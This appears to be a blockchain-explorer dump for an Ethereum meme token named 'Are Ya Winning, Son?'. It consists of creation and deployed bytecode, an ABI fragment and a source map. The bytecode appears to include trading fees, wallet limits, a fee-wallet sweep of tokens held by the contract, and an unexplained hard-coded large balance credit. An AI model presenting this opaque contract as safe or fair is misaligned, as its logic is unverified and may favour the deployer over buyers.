IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600780546001600160a01b03199081167357ec4ee25fe431dd9eafa4c45efb861f3f69c6fc1790915560088054909116735f2966e3e9de9b614611c0d64946c68482db98931790556200005a6009600a620006b2565b6200006990620f4240620006c9565b6009819055600a805461ffff1916610a001781556002600b819055600c55605a600d555f600e819055600f5560105560626011556001601255606490620000b2906005620006c9565b620000be9190620006e3565b60135560135460145560646009546005620000da9190620006c9565b620000e69190620006e3565b60158190556016556018805460ff60a81b1916600160a81b1790553480156200010d575f80fd5b506008545f80546001600160a01b0319166001600160a01b0390921691821781556040517f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360095460015f6200016e5f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f20819055505f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001e6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200020c919062000703565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000258573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200027e919062000703565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002c9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ef919062000703565b601880546001600160a01b03199081166001600160a01b039384161790915560178054909116918316919091179055600160045f620003355f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f2081905550600160035f6200036d6200059560201b60201c565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260038452828120805486166001908117909155600780548416835284832080548816831790557f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c8054881683179055601854841683526005958690528483208054881683179055549092168152918220805485168217905561dead82527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba80549094168117909355620004575f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff199586161790553081526005909252812080549092166001908117909255600690620004ae5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560069093527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e2280548516600190811790915560075490911683528183208054851682179055308352912080549092161790556200053f5f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200058691815260200190565b60405180910390a3506200072b565b5f546001600160a01b031690565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005f757815f1904821115620005db57620005db620005a3565b80851615620005e957918102915b93841c9390800290620005bc565b509250929050565b5f826200060f57506001620006ac565b816200061d57505f620006ac565b8160018114620006365760028114620006415762000661565b6001915050620006ac565b60ff841115620006555762000655620005a3565b50506001821b620006ac565b5060208310610133831016604e8410600b841016171562000686575081810a620006ac565b620006928383620005b7565b805f1904821115620006a857620006a8620005a3565b0290505b92915050565b5f620006c260ff841683620005ff565b9392505050565b8082028115828204841417620006ac57620006ac620005a3565b5f82620006fe57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000714575f80fd5b81516001600160a01b0381168114620006c2575f80fd5b6119ae80620007395f395ff3fe6080604052600436106101ff575f3560e01c806361c9a0dc1161011357806395d89b411161009d578063c6618d601161006d578063c6618d60146105e5578063dafd18e9146105fa578063dd62ed3e14610619578063dd67291b1461065d578063f879d9df14610672575f80fd5b806395d89b4114610567578063a457c2d714610592578063a9059cbb146105b1578063b1cb1582146105d0575f80fd5b806378109e54116100e357806378109e54146104e15780637c695eda146104f65780637d1db4a514610521578063805c0e0f146105365780638da5cb5b1461054b575f80fd5b806361c9a0dc1461045457806370a0823114610469578063715018a61461049d578063768dc710146104b3575f80fd5b806323b872dd116101945780633a9db6fe116101645780633a9db6fe146103d65780633f70a495146103eb57806349bd5a5e146104005780634a74bb021461041f578063603176251461043f575f80fd5b806323b872dd1461035e57806329de9ee41461037d578063313ce5671461039c57806339509351146103b7575f80fd5b80631694505e116101cf5780631694505e146102ec57806318160ddd1461030b57806321dbd9eb14610329578063220f66961461033e575f80fd5b806306fdde031461020a578063095ea7b3146102585780631487d64c1461028757806314ea619a146102be575f80fd5b3661020657005b5f80fd5b348015610215575f80fd5b506040805180820190915260148152734172652059612057696e6e696e672c20536f6e3f60601b60208201525b60405161024f919061166d565b60405180910390f35b348015610263575f80fd5b506102776102723660046116cf565b6106a0565b604051901515815260200161024f565b348015610292575f80fd5b506008546102a6906001600160a01b031681565b6040516001600160a01b03909116815260200161024f565b3480156102c9575f80fd5b506102776102d83660046116f9565b60056020525f908152604090205460ff1681565b3480156102f7575f80fd5b506017546102a6906001600160a01b031681565b348015610316575f80fd5b506009545b60405190815260200161024f565b348015610334575f80fd5b5061031b600f5481565b348015610349575f80fd5b5060185461027790600160a01b900460ff1681565b348015610369575f80fd5b50610277610378366004611714565b6106b6565b348015610388575f80fd5b506007546102a6906001600160a01b031681565b3480156103a7575f80fd5b506040516009815260200161024f565b3480156103c2575f80fd5b506102776103d13660046116cf565b61071d565b3480156103e1575f80fd5b5061031b60125481565b3480156103f6575f80fd5b5061031b600b5481565b34801561040b575f80fd5b506018546102a6906001600160a01b031681565b34801561042a575f80fd5b5060185461027790600160a81b900460ff1681565b34801561044a575f80fd5b5061031b600d5481565b34801561045f575f80fd5b5061031b60105481565b348015610474575f80fd5b5061031b6104833660046116f9565b6001600160a01b03165f9081526001602052604090205490565b3480156104a8575f80fd5b506104b1610752565b005b3480156104be575f80fd5b506102776104cd3660046116f9565b60036020525f908152604090205460ff1681565b3480156104ec575f80fd5b5061031b60135481565b348015610501575f80fd5b5061031b6105103660046116f9565b60046020525f908152604090205481565b34801561052c575f80fd5b5061031b60155481565b348015610541575f80fd5b506102a661dead81565b348015610556575f80fd5b505f546001600160a01b03166102a6565b348015610572575f80fd5b5060408051808201909152600381526229a7a760e91b6020820152610242565b34801561059d575f80fd5b506102776105ac3660046116cf565b61079a565b3480156105bc575f80fd5b506102776105cb3660046116cf565b6107e7565b3480156105db575f80fd5b5061031b600c5481565b3480156105f0575f80fd5b5061031b600e5481565b348015610605575f80fd5b506102776106143660046116cf565b6107f3565b348015610624575f80fd5b5061031b610633366004611752565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610668575f80fd5b5061031b60115481565b34801561067d575f80fd5b5061027761068c3660046116f9565b60066020525f908152604090205460ff1681565b5f6106ac338484610951565b5060015b92915050565b5f6106c2848484610a11565b610713843361070e8560405180606001604052806028815260200161192c602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d6c565b610951565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916106ac91859061070e9086610d97565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6106ac338461070e8560405180606001604052806025815260200161195460259139335f9081526002602090815260408083206001600160a01b038d1684529091529020549190610d6c565b5f6106ac338484610a11565b5f306001600160a01b038416036108515760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f742072656d6f7665206e617469766520746f6b656e000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa158015610895573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b99190611789565b90505f60646108c885846117b4565b6108d291906117cb565b60085460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925086169063a9059cbb906044016020604051808303815f875af1158015610924573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094891906117ea565b95945050505050565b6001600160a01b0383161580159061097157506001600160a01b03821615155b6109b15760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610848565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526006602052604090205460ff16158015610a5157506001600160a01b0382165f9081526006602052604090205460ff16155b15610aa857601554811115610aa85760405162461bcd60e51b815260206004820152601760248201527f4f766572207472616e73616374696f6e206c696d69742e0000000000000000006044820152606401610848565b6001600160a01b0382165f9081526005602052604090205460ff16610b31576001600160a01b0382165f90815260016020526040902054601354610aec8383611809565b1115610b2f5760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b6044820152606401610848565b505b6001600160a01b03831615801590610b5157506001600160a01b03821615155b610b955760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610848565b5f8111610bf25760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610848565b600a5460ff61010082048116911610801590610c185750601854600160a01b900460ff16155b8015610c3257506018546001600160a01b03848116911614155b8015610c475750601854600160a81b900460ff165b15610c7f57305f90815260016020526040902054601554811115610c6a57506015545b600a805460ff19169055610c7d81610da9565b505b6012546001600160a01b0383165f90815260046020526040902054610caa911515901515600161103a565b15610cc45760128054905f610cbe8361181c565b91905055505b6001600160a01b0383165f908152600360205260408120546001919060ff1680610d0557506001600160a01b0384165f9081526003602052604090205460ff165b15610d12575f9150610d58565b6018546001600160a01b0390811690861603610d2c575060015b600a805460ff16905f610d3e83611831565b91906101000a81548160ff021916908360ff160217905550505b610d658585858585611056565b5050505050565b5f8184841115610d8f5760405162461bcd60e51b8152600401610848919061166d565b505050900390565b5f610da28284611809565b9392505050565b6018805460ff60a01b1916600160a01b179055600f545f90606490610dce90846117b4565b610dd891906117cb565b905080600954610de8919061184f565b60095561dead5f5260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610e22908290611809565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d55305f9081526040902054610e5e90829061184f565b305f90815260016020526040812091909155600d54606490610e8090856117b4565b610e8a91906117cb565b90505f6064600e5485610e9d91906117b4565b610ea791906117cb565b90505f60c860105486610eba91906117b4565b610ec491906117cb565b905047610ee483610ed58685611809565b610edf9190611809565b61143d565b5f610eef824761184f565b90505f600e54600d54601054610f059190611809565b610f0f9190611809565b600d54610f1d9060646117b4565b610f2791906117cb565b90505f6064610f3683856117b4565b610f4091906117cb565b90505f600e54600d54601054610f569190611809565b610f609190611809565b600e54610f6e9060646117b4565b610f7891906117cb565b90505f6064610f8783876117b4565b610f9191906117cb565b9050610fb18782610fa2868961184f565b610fac919061184f565b61158d565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618782610fde868961184f565b610fe8919061184f565b604080519283526020830191909152810189905260600160405180910390a1600754479550611020906001600160a01b031686611635565b50506018805460ff60a01b19169055505050505050505050565b5f8380156110455750825b801561104e5750815b949350505050565b816111b2576001600160a01b0385165f9081526001602052604090205461107e90849061184f565b6001600160a01b038087165f81815260016020818152604080842096909655601254948a1680845260049091528583205493835294822054949091526110cc9392109181141590151561103a565b6110ea57604080518082019091528381525f6020909101528261110b565b6040805180820190915269d3c21bcecceda100000080825260209091018490525b6001600160a01b0385165f9081526001602052604090205461112d9190611809565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111809087815260200190565b60405180910390a361deac196001600160a01b038516016111ad57826009546111a9919061184f565b6009555b610d65565b80156112e2575f6064600b54856111c991906117b4565b6111d391906117cb565b90505f6111e0828661184f565b6001600160a01b0388165f9081526001602052604090205490915061120690869061184f565b6001600160a01b038089165f908152600160205260408082209390935590881681522054611235908290611809565b6001600160a01b0387165f90815260016020526040808220929092553081522054611261908390611809565b305f9081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b038716016112db57806009546112d7919061184f565b6009555b5050610d65565b5f606460405180604001604052806011545f188152602001600c548152506012546002811061131357611313611862565b602002015161132290866117b4565b61132c91906117cb565b90505f611339828661184f565b6001600160a01b0388165f9081526001602052604090205490915061135f90869061184f565b6001600160a01b038089165f90815260016020526040808220939093559088168152205461138e908290611809565b6001600160a01b0387165f908152600160205260408082209290925530815220546113ba908390611809565b305f9081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b038716016114345780600954611430919061184f565b6009555b50505050505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061147057611470611862565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114eb9190611876565b816001815181106114fe576114fe611862565b6001600160a01b0392831660209182029290920101526017546115249130911684610951565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac9479061155c9085905f90869030904290600401611891565b5f604051808303815f87803b158015611573575f80fd5b505af1158015611585573d5f803e3d5ffd5b505050505050565b6017546115a59030906001600160a01b031684610951565b60175460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611610573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d659190611900565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015611668573d5f803e3d5ffd5b505050565b5f6020808352835180828501525f5b818110156116985785810183015185820160400152820161167c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116cc575f80fd5b50565b5f80604083850312156116e0575f80fd5b82356116eb816116b8565b946020939093013593505050565b5f60208284031215611709575f80fd5b8135610da2816116b8565b5f805f60608486031215611726575f80fd5b8335611731816116b8565b92506020840135611741816116b8565b929592945050506040919091013590565b5f8060408385031215611763575f80fd5b823561176e816116b8565b9150602083013561177e816116b8565b809150509250929050565b5f60208284031215611799575f80fd5b5051919050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176106b0576106b06117a0565b5f826117e557634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156117fa575f80fd5b81518015158114610da2575f80fd5b808201808211156106b0576106b06117a0565b5f8161182a5761182a6117a0565b505f190190565b5f60ff821660ff8103611846576118466117a0565b60010192915050565b818103818111156106b0576106b06117a0565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611886575f80fd5b8151610da2816116b8565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118df5784516001600160a01b0316835293830193918301916001016118ba565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611912575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220575e76bf503447f3cdb769379cb690213e820aaa0c38f8cf0c9fd4f858a0216464736f6c63430008140033

Deployed Bytecode

0x6080604052600436106101ff575f3560e01c806361c9a0dc1161011357806395d89b411161009d578063c6618d601161006d578063c6618d60146105e5578063dafd18e9146105fa578063dd62ed3e14610619578063dd67291b1461065d578063f879d9df14610672575f80fd5b806395d89b4114610567578063a457c2d714610592578063a9059cbb146105b1578063b1cb1582146105d0575f80fd5b806378109e54116100e357806378109e54146104e15780637c695eda146104f65780637d1db4a514610521578063805c0e0f146105365780638da5cb5b1461054b575f80fd5b806361c9a0dc1461045457806370a0823114610469578063715018a61461049d578063768dc710146104b3575f80fd5b806323b872dd116101945780633a9db6fe116101645780633a9db6fe146103d65780633f70a495146103eb57806349bd5a5e146104005780634a74bb021461041f578063603176251461043f575f80fd5b806323b872dd1461035e57806329de9ee41461037d578063313ce5671461039c57806339509351146103b7575f80fd5b80631694505e116101cf5780631694505e146102ec57806318160ddd1461030b57806321dbd9eb14610329578063220f66961461033e575f80fd5b806306fdde031461020a578063095ea7b3146102585780631487d64c1461028757806314ea619a146102be575f80fd5b3661020657005b5f80fd5b348015610215575f80fd5b506040805180820190915260148152734172652059612057696e6e696e672c20536f6e3f60601b60208201525b60405161024f919061166d565b60405180910390f35b348015610263575f80fd5b506102776102723660046116cf565b6106a0565b604051901515815260200161024f565b348015610292575f80fd5b506008546102a6906001600160a01b031681565b6040516001600160a01b03909116815260200161024f565b3480156102c9575f80fd5b506102776102d83660046116f9565b60056020525f908152604090205460ff1681565b3480156102f7575f80fd5b506017546102a6906001600160a01b031681565b348015610316575f80fd5b506009545b60405190815260200161024f565b348015610334575f80fd5b5061031b600f5481565b348015610349575f80fd5b5060185461027790600160a01b900460ff1681565b348015610369575f80fd5b50610277610378366004611714565b6106b6565b348015610388575f80fd5b506007546102a6906001600160a01b031681565b3480156103a7575f80fd5b506040516009815260200161024f565b3480156103c2575f80fd5b506102776103d13660046116cf565b61071d565b3480156103e1575f80fd5b5061031b60125481565b3480156103f6575f80fd5b5061031b600b5481565b34801561040b575f80fd5b506018546102a6906001600160a01b031681565b34801561042a575f80fd5b5060185461027790600160a81b900460ff1681565b34801561044a575f80fd5b5061031b600d5481565b34801561045f575f80fd5b5061031b60105481565b348015610474575f80fd5b5061031b6104833660046116f9565b6001600160a01b03165f9081526001602052604090205490565b3480156104a8575f80fd5b506104b1610752565b005b3480156104be575f80fd5b506102776104cd3660046116f9565b60036020525f908152604090205460ff1681565b3480156104ec575f80fd5b5061031b60135481565b348015610501575f80fd5b5061031b6105103660046116f9565b60046020525f908152604090205481565b34801561052c575f80fd5b5061031b60155481565b348015610541575f80fd5b506102a661dead81565b348015610556575f80fd5b505f546001600160a01b03166102a6565b348015610572575f80fd5b5060408051808201909152600381526229a7a760e91b6020820152610242565b34801561059d575f80fd5b506102776105ac3660046116cf565b61079a565b3480156105bc575f80fd5b506102776105cb3660046116cf565b6107e7565b3480156105db575f80fd5b5061031b600c5481565b3480156105f0575f80fd5b5061031b600e5481565b348015610605575f80fd5b506102776106143660046116cf565b6107f3565b348015610624575f80fd5b5061031b610633366004611752565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610668575f80fd5b5061031b60115481565b34801561067d575f80fd5b5061027761068c3660046116f9565b60066020525f908152604090205460ff1681565b5f6106ac338484610951565b5060015b92915050565b5f6106c2848484610a11565b610713843361070e8560405180606001604052806028815260200161192c602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d6c565b610951565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916106ac91859061070e9086610d97565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6106ac338461070e8560405180606001604052806025815260200161195460259139335f9081526002602090815260408083206001600160a01b038d1684529091529020549190610d6c565b5f6106ac338484610a11565b5f306001600160a01b038416036108515760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f742072656d6f7665206e617469766520746f6b656e000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa158015610895573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b99190611789565b90505f60646108c885846117b4565b6108d291906117cb565b60085460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925086169063a9059cbb906044016020604051808303815f875af1158015610924573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094891906117ea565b95945050505050565b6001600160a01b0383161580159061097157506001600160a01b03821615155b6109b15760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610848565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526006602052604090205460ff16158015610a5157506001600160a01b0382165f9081526006602052604090205460ff16155b15610aa857601554811115610aa85760405162461bcd60e51b815260206004820152601760248201527f4f766572207472616e73616374696f6e206c696d69742e0000000000000000006044820152606401610848565b6001600160a01b0382165f9081526005602052604090205460ff16610b31576001600160a01b0382165f90815260016020526040902054601354610aec8383611809565b1115610b2f5760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b6044820152606401610848565b505b6001600160a01b03831615801590610b5157506001600160a01b03821615155b610b955760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610848565b5f8111610bf25760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610848565b600a5460ff61010082048116911610801590610c185750601854600160a01b900460ff16155b8015610c3257506018546001600160a01b03848116911614155b8015610c475750601854600160a81b900460ff165b15610c7f57305f90815260016020526040902054601554811115610c6a57506015545b600a805460ff19169055610c7d81610da9565b505b6012546001600160a01b0383165f90815260046020526040902054610caa911515901515600161103a565b15610cc45760128054905f610cbe8361181c565b91905055505b6001600160a01b0383165f908152600360205260408120546001919060ff1680610d0557506001600160a01b0384165f9081526003602052604090205460ff165b15610d12575f9150610d58565b6018546001600160a01b0390811690861603610d2c575060015b600a805460ff16905f610d3e83611831565b91906101000a81548160ff021916908360ff160217905550505b610d658585858585611056565b5050505050565b5f8184841115610d8f5760405162461bcd60e51b8152600401610848919061166d565b505050900390565b5f610da28284611809565b9392505050565b6018805460ff60a01b1916600160a01b179055600f545f90606490610dce90846117b4565b610dd891906117cb565b905080600954610de8919061184f565b60095561dead5f5260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610e22908290611809565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d55305f9081526040902054610e5e90829061184f565b305f90815260016020526040812091909155600d54606490610e8090856117b4565b610e8a91906117cb565b90505f6064600e5485610e9d91906117b4565b610ea791906117cb565b90505f60c860105486610eba91906117b4565b610ec491906117cb565b905047610ee483610ed58685611809565b610edf9190611809565b61143d565b5f610eef824761184f565b90505f600e54600d54601054610f059190611809565b610f0f9190611809565b600d54610f1d9060646117b4565b610f2791906117cb565b90505f6064610f3683856117b4565b610f4091906117cb565b90505f600e54600d54601054610f569190611809565b610f609190611809565b600e54610f6e9060646117b4565b610f7891906117cb565b90505f6064610f8783876117b4565b610f9191906117cb565b9050610fb18782610fa2868961184f565b610fac919061184f565b61158d565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618782610fde868961184f565b610fe8919061184f565b604080519283526020830191909152810189905260600160405180910390a1600754479550611020906001600160a01b031686611635565b50506018805460ff60a01b19169055505050505050505050565b5f8380156110455750825b801561104e5750815b949350505050565b816111b2576001600160a01b0385165f9081526001602052604090205461107e90849061184f565b6001600160a01b038087165f81815260016020818152604080842096909655601254948a1680845260049091528583205493835294822054949091526110cc9392109181141590151561103a565b6110ea57604080518082019091528381525f6020909101528261110b565b6040805180820190915269d3c21bcecceda100000080825260209091018490525b6001600160a01b0385165f9081526001602052604090205461112d9190611809565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111809087815260200190565b60405180910390a361deac196001600160a01b038516016111ad57826009546111a9919061184f565b6009555b610d65565b80156112e2575f6064600b54856111c991906117b4565b6111d391906117cb565b90505f6111e0828661184f565b6001600160a01b0388165f9081526001602052604090205490915061120690869061184f565b6001600160a01b038089165f908152600160205260408082209390935590881681522054611235908290611809565b6001600160a01b0387165f90815260016020526040808220929092553081522054611261908390611809565b305f9081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b038716016112db57806009546112d7919061184f565b6009555b5050610d65565b5f606460405180604001604052806011545f188152602001600c548152506012546002811061131357611313611862565b602002015161132290866117b4565b61132c91906117cb565b90505f611339828661184f565b6001600160a01b0388165f9081526001602052604090205490915061135f90869061184f565b6001600160a01b038089165f90815260016020526040808220939093559088168152205461138e908290611809565b6001600160a01b0387165f908152600160205260408082209290925530815220546113ba908390611809565b305f9081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b038716016114345780600954611430919061184f565b6009555b50505050505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061147057611470611862565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114eb9190611876565b816001815181106114fe576114fe611862565b6001600160a01b0392831660209182029290920101526017546115249130911684610951565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac9479061155c9085905f90869030904290600401611891565b5f604051808303815f87803b158015611573575f80fd5b505af1158015611585573d5f803e3d5ffd5b505050505050565b6017546115a59030906001600160a01b031684610951565b60175460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611610573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d659190611900565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015611668573d5f803e3d5ffd5b505050565b5f6020808352835180828501525f5b818110156116985785810183015185820160400152820161167c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116cc575f80fd5b50565b5f80604083850312156116e0575f80fd5b82356116eb816116b8565b946020939093013593505050565b5f60208284031215611709575f80fd5b8135610da2816116b8565b5f805f60608486031215611726575f80fd5b8335611731816116b8565b92506020840135611741816116b8565b929592945050506040919091013590565b5f8060408385031215611763575f80fd5b823561176e816116b8565b9150602083013561177e816116b8565b809150509250929050565b5f60208284031215611799575f80fd5b5051919050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176106b0576106b06117a0565b5f826117e557634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156117fa575f80fd5b81518015158114610da2575f80fd5b808201808211156106b0576106b06117a0565b5f8161182a5761182a6117a0565b505f190190565b5f60ff821660ff8103611846576118466117a0565b60010192915050565b818103818111156106b0576106b06117a0565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611886575f80fd5b8151610da2816116b8565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118df5784516001600160a01b0316835293830193918301916001016118ba565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611912575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220575e76bf503447f3cdb769379cb690213e820aaa0c38f8cf0c9fd4f858a0216464736f6c63430008140033

Deployed Bytecode Sourcemap

15663:12902:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19810:83;;;;;;;;;;-1:-1:-1;19880:5:0;;;;;;;;;;;;-1:-1:-1;;;19880:5:0;;;;19810:83;;;;;;;:::i;:::-;;;;;;;;20653:161;;;;;;;;;;-1:-1:-1;20653:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;20653:161:0;1023:187:1;16737:98:0;;;;;;;;;;-1:-1:-1;16737:98:0;;;;-1:-1:-1;;;;;16737:98:0;;;;;;-1:-1:-1;;;;;1395:32:1;;;1377:51;;1365:2;1350:18;16737:98:0;1215:219:1;16519:54:0;;;;;;;;;;-1:-1:-1;16519:54:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17936:41;;;;;;;;;;-1:-1:-1;17936:41:0;;;;-1:-1:-1;;;;;17936:41:0;;;20087:95;;;;;;;;;;-1:-1:-1;20167:7:0;;20087:95;;;2072:25:1;;;2060:2;2045:18;20087:95:0;1926:177:1;17459:31:0;;;;;;;;;;;;;;;;18019:28;;;;;;;;;;-1:-1:-1;18019:28:0;;;;-1:-1:-1;;;18019:28:0;;;;;;20822:313;;;;;;;;;;-1:-1:-1;20822:313:0;;;;;:::i;:::-;;:::i;16639:90::-;;;;;;;;;;-1:-1:-1;16639:90:0;;;;-1:-1:-1;;;;;16639:90:0;;;19996:83;;;;;;;;;;-1:-1:-1;19996:83:0;;17033:1;2711:36:1;;2699:2;2684:18;19996:83:0;2569:184:1;21143:218:0;;;;;;;;;;-1:-1:-1;21143:218:0;;;;;:::i;:::-;;:::i;17586:27::-;;;;;;;;;;;;;;;;17295:30;;;;;;;;;;;;;;;;17984:28;;;;;;;;;;-1:-1:-1;17984:28:0;;;;-1:-1:-1;;;;;17984:28:0;;;18054:40;;;;;;;;;;-1:-1:-1;18054:40:0;;;;-1:-1:-1;;;18054:40:0;;;;;;17378:37;;;;;;;;;;;;;;;;17497:34;;;;;;;;;;;;;;;;20190:117;;;;;;;